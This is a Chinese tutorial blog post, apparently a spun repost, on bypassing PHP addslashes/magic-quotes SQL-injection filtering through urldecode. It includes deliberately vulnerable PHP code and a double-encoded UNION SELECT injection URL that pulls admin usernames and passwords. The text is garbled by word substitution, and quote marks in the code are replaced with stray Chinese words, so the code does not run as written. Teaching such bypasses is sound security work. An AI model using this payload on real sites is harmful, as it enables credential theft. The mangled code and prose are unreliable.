首页 » SEO优化 » phpgpc版本技巧_白帽子分享之代码的艺术系列第二篇

phpgpc版本技巧_白帽子分享之代码的艺术系列第二篇

访客 2024-11-23 0

扫一扫用手机浏览

文章目录 [+]

现在的WEB程序基本都有对SQL注入的全局过滤,运维职员配置PHP环境是一样平常会开启魔术引号GPC,即magic_quotes_gpc=On的情形下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NUL( 字符)等字符都会被加上反斜线进行转义处理。
不过GPC在PHP5.4版本后就取消了,以是现在一样平常都用addslashes函数来代替GPC进行过滤处理。
目前用PHP开拓的运用一样平常是MVC的框架模式进行开拓,对GET、POST和COOKIE等通报的参数常日利用addslashes函数进行转义,并引入一个类似common.php的文件进行处理addslashes函数对吸收的参数进行过滤,尤其是单引号。
处理代码如下:

if (!empty($_GET)){$_GET = addslashes_deep($_GET);}if (!empty($_POST)){$_POST = addslashes_deep($_POST);}if (!empty($_COOKIE)){$_COOKIE = addslashes_deep($_COOKIE);}...function addslashes_deep($value){if (empty($value)){return $value;}else{if (!get_magic_quotes_gpc){$value=is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);}else{$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);}return $value;}}

addslashes_deep函数会判断GPC是否开启,如果没有开启就会对GET、POST和COOKIE通报的参数进行转义。
然而仅仅利用这种办法会存在很多绕过的情形。
接下来两篇会先容这种防护下的存在被绕过的一些场景和案例~,这里有几篇确定好。

phpgpc版本技巧_白帽子分享之代码的艺术系列第二篇

0x02 准备

知识储备:php根本、MySql入门

phpgpc版本技巧_白帽子分享之代码的艺术系列第二篇
(图片来自网络侵删)

工具:notepad++

做事器环境:wamp

测试代码和sql:微信回答『代码2』 须要更新。

0x03 全局防护Bypass上篇的脑图

0x04 编码解码函数导致的Bypass

一些编码解码的函数像urldecode、base64decode的利用会导致绕过addslashes函数的全局防护,以urldecode函数为例,毛病代码如下:

<?phprequire_once('common.php');$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');mysql_query(\公众SET NAMES binary'\公众);mysql_select_db('test', $conn) OR emMsg(\公众数据库连接失落败\"大众);//这里利用了urldecode进行解码$id = isset($_GET['id']) ? urldecode($_GET['id']) : 1;//这里的sql语句有单引号保护,即分外字符像单引号就会通过addslashes的处理$sql = \公众SELECT FROM news WHERE id='{$id}'\"大众;$result = mysql_query($sql, $conn) or die(mysql_error);?>

解释单引号经由了addslashes函数的转义,我们查下sql查询的日志,确实是对单引号进行转义处理了:

SELECT FROM news WHERE id='1\''

这种报错在安全测试职员眼里便是注入的标志。
进一步不雅观察数据库,创造除了news表外还有个admin表,我们可以布局获取管理员账户密码的语句”http://localhost/sqltest/urldecode.php?id=1%2527union select 1,2,concat(name,0x23,pass) from admin%23”

对应实行的sql语句:

SELECT SQL_CALC_FOUND_ROWS FROM news WHERE id = '-1' union select 1 , 2, concat( name, 0x23, pass ) from admin

本日的内容就这里,大家有兴趣的可以评论或者留言,可以跟作者互动,感激你的转发和关注。
:)

301强烈推举内容,想必您会喜好:

长按二维码,关注301在路上。

微信:2036234

相关文章

QQ聊天恶搞代码技术背后的趣味与风险

人们的生活越来越离不开社交软件。在我国,QQ作为一款历史悠久、用户众多的社交平台,深受广大网民喜爱。在QQ聊天的过程中,恶搞代码的...

SEO优化 2025-03-02 阅读1 评论0

Python代码截屏技术与应用的完美融合

计算机屏幕截图已经成为人们日常生活中不可或缺的一部分。无论是分享工作成果、记录游戏瞬间,还是保存网页信息,屏幕截图都发挥着重要作用...

SEO优化 2025-03-02 阅读1 评论0

QQ无限刷礼物代码技术突破还是道德沦丧

社交平台逐渐成为人们生活中不可或缺的一部分。QQ作为我国最具影响力的社交软件之一,其丰富的功能吸引了大量用户。近期有关QQ无限刷礼...

SEO优化 2025-03-02 阅读1 评论0